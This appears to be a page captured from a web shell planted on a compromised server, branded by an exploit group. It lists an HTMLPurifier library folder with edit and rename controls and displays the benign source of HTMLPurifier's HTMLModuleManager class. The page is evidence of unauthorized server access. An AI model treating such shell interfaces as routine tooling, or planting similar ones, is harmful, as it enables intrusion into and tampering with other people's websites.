Shell Bypass 403 GE-C666C

Ghost Exploiter Team Official

Directory >> /var/www/html/back/vendor/ezyang/htmlpurifier/library/HTMLPurifier/

File / Folder	Size	Action
.	-
AttrDef	--	ren
AttrTransform	--	ren
ChildDef	--	ren
ConfigSchema	--	ren
DefinitionCache	--	ren
EntityLookup	--	ren
Filter	--	ren
HTMLModule	--	ren
Injector	--	ren
Language	--	ren
Lexer	--	ren
Node	--	ren
Printer	--	ren
Strategy	--	ren
TagTransform	--	ren
Token	--	ren
URIFilter	--	ren
URIScheme	--	ren
VarParser	--	ren
Arborize.php	2.49KB	edt ren
AttrCollections.php	4.748KB	edt ren
AttrDef.php	5.073KB	edt ren
AttrTransform.php	1.942KB	edt ren
AttrTypes.php	3.662KB	edt ren
AttrValidator.php	6.419KB	edt ren
Bootstrap.php	2.637KB	edt ren
CSSDefinition.php	19.489KB	edt ren
ChildDef.php	1.522KB	edt ren
Config.php	31.065KB	edt ren
ConfigSchema.php	5.757KB	edt ren
ContentSets.php	5.473KB	edt ren
Context.php	2.363KB	edt ren
Definition.php	1.329KB	edt ren
DefinitionCache.php	3.821KB	edt ren
DefinitionCacheFactory.php	3.119KB	edt ren
Doctype.php	1.545KB	edt ren
DoctypeRegistry.php	4.117KB	edt ren
ElementDef.php	7.354KB	edt ren
Encoder.php	25.106KB	edt ren
EntityLookup.php	1.393KB	edt ren
EntityParser.php	9.801KB	edt ren
ErrorCollector.php	7.446KB	edt ren
ErrorStruct.php	1.849KB	edt ren
Exception.php	0.173KB	edt ren
Filter.php	1.587KB	edt ren
Generator.php	10.012KB	edt ren
HTMLDefinition.php	17.166KB	edt ren
HTMLModule.php	9.956KB	edt ren
HTMLModuleManager.php	15.469KB	edt ren
IDAccumulator.php	1.608KB	edt ren
Injector.php	8.795KB	edt ren
Language.php	5.92KB	edt ren
LanguageFactory.php	6.298KB	edt ren
Length.php	3.801KB	edt ren
Lexer.php	12.711KB	edt ren
Node.php	1.25KB	edt ren
PercentEncoder.php	3.481KB	edt ren
Printer.php	5.759KB	edt ren
PropertyList.php	2.718KB	edt ren
PropertyListIterator.php	0.873KB	edt ren
Queue.php	1.515KB	edt ren
Strategy.php	0.744KB	edt ren
StringHash.php	1.073KB	edt ren
StringHashParser.php	3.556KB	edt ren
TagTransform.php	1.072KB	edt ren
Token.php	2.173KB	edt ren
TokenFactory.php	3.026KB	edt ren
URI.php	10.367KB	edt ren
URIDefinition.php	3.35KB	edt ren
URIFilter.php	2.31KB	edt ren
URIParser.php	2.24KB	edt ren
URIScheme.php	3.399KB	edt ren
URISchemeRegistry.php	2.353KB	edt ren
UnitConverter.php	9.908KB	edt ren
VarParser.php	5.85KB	edt ren
VarParserException.php	0.153KB	edt ren
Zipper.php	4.338KB	edt ren

<?php

class HTMLPurifier_HTMLModuleManager
{

/**
     * @type HTMLPurifier_DoctypeRegistry
     */
    public $doctypes;

/**
     * Instance of current doctype.
     * @type string
     */
    public $doctype;

/**
     * @type HTMLPurifier_AttrTypes
     */
    public $attrTypes;

/**
     * Active instances of modules for the specified doctype are
     * indexed, by name, in this array.
     * @type HTMLPurifier_HTMLModule[]
     */
    public $modules = array();

/**
     * Array of recognized HTMLPurifier_HTMLModule instances,
     * indexed by module's class name. This array is usually lazy loaded, but a
     * user can overload a module by pre-emptively registering it.
     * @type HTMLPurifier_HTMLModule[]
     */
    public $registeredModules = array();

/**
     * List of extra modules that were added by the user
     * using addModule(). These get unconditionally merged into the current doctype, whatever
     * it may be.
     * @type HTMLPurifier_HTMLModule[]
     */
    public $userModules = array();

/**
     * Associative array of element name to list of modules that have
     * definitions for the element; this array is dynamically filled.
     * @type array
     */
    public $elementLookup = array();

/**
     * List of prefixes we should use for registering small names.
     * @type array
     */
    public $prefixes = array('HTMLPurifier_HTMLModule_');

/**
     * @type HTMLPurifier_ContentSets
     */
    public $contentSets;

/**
     * @type HTMLPurifier_AttrCollections
     */
    public $attrCollections;

/**
     * If set to true, unsafe elements and attributes will be allowed.
     * @type bool
     */
    public $trusted = false;

public function __construct()
    {
        // editable internal objects
        $this->attrTypes = new HTMLPurifier_AttrTypes();
        $this->doctypes  = new HTMLPurifier_DoctypeRegistry();

// setup basic modules
        $common = array(
            'CommonAttributes', 'Text', 'Hypertext', 'List',
            'Presentation', 'Edit', 'Bdo', 'Tables', 'Image',
            'StyleAttribute',
            // Unsafe:
            'Scripting', 'Object', 'Forms',
            // Sorta legacy, but present in strict:
            'Name',
        );
        $transitional = array('Legacy', 'Target', 'Iframe');
        $xml = array('XMLCommonAttributes');
        $non_xml = array('NonXMLCommonAttributes');

// setup basic doctypes
        $this->doctypes->register(
            'HTML 4.01 Transitional',
            false,
            array_merge($common, $transitional, $non_xml),
            array('Tidy_Transitional', 'Tidy_Proprietary'),
            array(),
            '-//W3C//DTD HTML 4.01 Transitional//EN',
            'http://www.w3.org/TR/html4/loose.dtd'
        );

$this->doctypes->register(
            'HTML 4.01 Strict',
            false,
            array_merge($common, $non_xml),
            array('Tidy_Strict', 'Tidy_Proprietary', 'Tidy_Name'),
            array(),
            '-//W3C//DTD HTML 4.01//EN',
            'http://www.w3.org/TR/html4/strict.dtd'
        );

$this->doctypes->register(
            'XHTML 1.0 Transitional',
            true,
            array_merge($common, $transitional, $xml, $non_xml),
            array('Tidy_Transitional', 'Tidy_XHTML', 'Tidy_Proprietary', 'Tidy_Name'),
            array(),
            '-//W3C//DTD XHTML 1.0 Transitional//EN',
            'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'
        );

$this->doctypes->register(
            'XHTML 1.0 Strict',
            true,
            array_merge($common, $xml, $non_xml),
            array('Tidy_Strict', 'Tidy_XHTML', 'Tidy_Strict', 'Tidy_Proprietary', 'Tidy_Name'),
            array(),
            '-//W3C//DTD XHTML 1.0 Strict//EN',
            'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'
        );

$this->doctypes->register(
            'XHTML 1.1',
            true,
            // Iframe is a real XHTML 1.1 module, despite being
            // "transitional"!
            array_merge($common, $xml, array('Ruby', 'Iframe')),
            array('Tidy_Strict', 'Tidy_XHTML', 'Tidy_Proprietary', 'Tidy_Strict', 'Tidy_Name'), // Tidy_XHTML1_1
            array(),
            '-//W3C//DTD XHTML 1.1//EN',
            'http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd'
        );

}

/**
     * Registers a module to the recognized module list, useful for
     * overloading pre-existing modules.
     * @param $module Mixed: string module name, with or without
     *                HTMLPurifier_HTMLModule prefix, or instance of
     *                subclass of HTMLPurifier_HTMLModule.
     * @param $overload Boolean whether or not to overload previous modules.
     *                  If this is not set, and you do overload a module,
     *                  HTML Purifier will complain with a warning.
     * @note This function will not call autoload, you must instantiate
     *       (and thus invoke) autoload outside the method.
     * @note If a string is passed as a module name, different variants
     *       will be tested in this order:
     *          - Check for HTMLPurifier_HTMLModule_$name
     *          - Check all prefixes with $name in order they were added
     *          - Check for literal object name
     *          - Throw fatal error
     *       If your object name collides with an internal class, specify
     *       your module manually. All modules must have been included
     *       externally: registerModule will not perform inclusions for you!
     */
    public function registerModule($module, $overload = false)
    {
        if (is_string($module)) {
            // attempt to load the module
            $original_module = $module;
            $ok = false;
            foreach ($this->prefixes as $prefix) {
                $module = $prefix . $original_module;
                if (class_exists($module)) {
                    $ok = true;
                    break;
                }
            }
            if (!$ok) {
                $module = $original_module;
                if (!class_exists($module)) {
                    throw new Exception($original_module . ' module does not exist');
                }
            }
            $module = new $module();
        }
        if (empty($module->name)) {
            trigger_error('Module instance of ' . get_class($module) . ' must have name');
            return;
        }
        if (!$overload && isset($this->registeredModules[$module->name])) {
            trigger_error('Overloading ' . $module->name . ' without explicit overload parameter', E_USER_WARNING);
        }
        $this->registeredModules[$module->name] = $module;
    }

/**
     * Adds a module to the current doctype by first registering it,
     * and then tacking it on to the active doctype
     */
    public function addModule($module)
    {
        $this->registerModule($module);
        if (is_object($module)) {
            $module = $module->name;
        }
        $this->userModules[] = $module;
    }

/**
     * Adds a class prefix that registerModule() will use to resolve a
     * string name to a concrete class
     */
    public function addPrefix($prefix)
    {
        $this->prefixes[] = $prefix;
    }

/**
     * Performs processing on modules, after being called you may
     * use getElement() and getElements()
     * @param HTMLPurifier_Config $config
     */
    public function setup($config)
    {
        $this->trusted = $config->get('HTML.Trusted');

// generate
        $this->doctype = $this->doctypes->make($config);
        $modules = $this->doctype->modules;

// take out the default modules that aren't allowed
        $lookup = $config->get('HTML.AllowedModules');
        $special_cases = $config->get('HTML.CoreModules');

if (is_array($lookup)) {
            foreach ($modules as $k => $m) {
                if (isset($special_cases[$m])) {
                    continue;
                }
                if (!isset($lookup[$m])) {
                    unset($modules[$k]);
                }
            }
        }

// custom modules
        if ($config->get('HTML.Proprietary')) {
            $modules[] = 'Proprietary';
        }
        if ($config->get('HTML.SafeObject')) {
            $modules[] = 'SafeObject';
        }
        if ($config->get('HTML.SafeEmbed')) {
            $modules[] = 'SafeEmbed';
        }
        if ($config->get('HTML.SafeScripting') !== array()) {
            $modules[] = 'SafeScripting';
        }
        if ($config->get('HTML.Nofollow')) {
            $modules[] = 'Nofollow';
        }
        if ($config->get('HTML.TargetBlank')) {
            $modules[] = 'TargetBlank';
        }
        // NB: HTML.TargetNoreferrer and HTML.TargetNoopener must be AFTER HTML.TargetBlank
        // so that its post-attr-transform gets run afterwards.
        if ($config->get('HTML.TargetNoreferrer')) {
            $modules[] = 'TargetNoreferrer';
        }
        if ($config->get('HTML.TargetNoopener')) {
            $modules[] = 'TargetNoopener';
        }

// merge in custom modules
        $modules = array_merge($modules, $this->userModules);

foreach ($modules as $module) {
            $this->processModule($module);
            $this->modules[$module]->setup($config);
        }

foreach ($this->doctype->tidyModules as $module) {
            $this->processModule($module);
            $this->modules[$module]->setup($config);
        }

// prepare any injectors
        foreach ($this->modules as $module) {
            $n = array();
            foreach ($module->info_injector as $injector) {
                if (!is_object($injector)) {
                    $class = "HTMLPurifier_Injector_$injector";
                    $injector = new $class;
                }
                $n[$injector->name] = $injector;
            }
            $module->info_injector = $n;
        }

// setup lookup table based on all valid modules
        foreach ($this->modules as $module) {
            foreach ($module->info as $name => $def) {
                if (!isset($this->elementLookup[$name])) {
                    $this->elementLookup[$name] = array();
                }
                $this->elementLookup[$name][] = $module->name;
            }
        }

// note the different choice
        $this->contentSets = new HTMLPurifier_ContentSets(
            // content set assembly deals with all possible modules,
            // not just ones deemed to be "safe"
            $this->modules
        );
        $this->attrCollections = new HTMLPurifier_AttrCollections(
            $this->attrTypes,
            // there is no way to directly disable a global attribute,
            // but using AllowedAttributes or simply not including
            // the module in your custom doctype should be sufficient
            $this->modules
        );
    }

/**
     * Takes a module and adds it to the active module collection,
     * registering it if necessary.
     */
    public function processModule($module)
    {
        if (!isset($this->registeredModules[$module]) || is_object($module)) {
            $this->registerModule($module);
        }
        $this->modules[$module] = $this->registeredModules[$module];
    }

/**
     * Retrieves merged element definitions.
     * @return Array of HTMLPurifier_ElementDef
     */
    public function getElements()
    {
        $elements = array();
        foreach ($this->modules as $module) {
            if (!$this->trusted && !$module->safe) {
                continue;
            }
            foreach ($module->info as $name => $v) {
                if (isset($elements[$name])) {
                    continue;
                }
                $elements[$name] = $this->getElement($name);
            }
        }

// remove dud elements, this happens when an element that
        // appeared to be safe actually wasn't
        foreach ($elements as $n => $v) {
            if ($v === false) {
                unset($elements[$n]);
            }
        }

return $elements;

}

/**
     * Retrieves a single merged element definition
     * @param string $name Name of element
     * @param bool $trusted Boolean trusted overriding parameter: set to true
     *                 if you want the full version of an element
     * @return HTMLPurifier_ElementDef Merged HTMLPurifier_ElementDef
     * @note You may notice that modules are getting iterated over twice (once
     *       in getElements() and once here). This
     *       is because
     */
    public function getElement($name, $trusted = null)
    {
        if (!isset($this->elementLookup[$name])) {
            return false;
        }

// setup global state variables
        $def = false;
        if ($trusted === null) {
            $trusted = $this->trusted;
        }

// iterate through each module that has registered itself to this
        // element
        foreach ($this->elementLookup[$name] as $module_name) {
            $module = $this->modules[$module_name];

// refuse to create/merge from a module that is deemed unsafe--
            // pretend the module doesn't exist--when trusted mode is not on.
            if (!$trusted && !$module->safe) {
                continue;
            }

// clone is used because, ideally speaking, the original
            // definition should not be modified. Usually, this will
            // make no difference, but for consistency's sake
            $new_def = clone $module->info[$name];

if (!$def && $new_def->standalone) {
                $def = $new_def;
            } elseif ($def) {
                // This will occur even if $new_def is standalone. In practice,
                // this will usually result in a full replacement.
                $def->mergeIn($new_def);
            } else {
                // :TODO:
                // non-standalone definitions that don't have a standalone
                // to merge into could be deferred to the end
                // HOWEVER, it is perfectly valid for a non-standalone
                // definition to lack a standalone definition, even
                // after all processing: this allows us to safely
                // specify extra attributes for elements that may not be
                // enabled all in one place.  In particular, this might
                // be the case for trusted elements.  WARNING: care must
                // be taken that the /extra/ definitions are all safe.
                continue;
            }

// attribute value expansions
            $this->attrCollections->performInclusions($def->attr);
            $this->attrCollections->expandIdentifiers($def->attr, $this->attrTypes);

// descendants_are_inline, for ChildDef_Chameleon
            if (is_string($def->content_model) &&
                strpos($def->content_model, 'Inline') !== false) {
                if ($name != 'del' && $name != 'ins') {
                    // this is for you, ins/del
                    $def->descendants_are_inline = true;
                }
            }

$this->contentSets->generateChildDef($def, $module);
        }

// This can occur if there is a blank definition, but no base to
        // mix it in with
        if (!$def) {
            return false;
        }

// add information on required attributes
        foreach ($def->attr as $attr_name => $attr_def) {
            if ($attr_def->required) {
                $def->required_attr[] = $attr_name;
            }
        }
        return $def;
    }
}

// vim: et sw=4 sts=4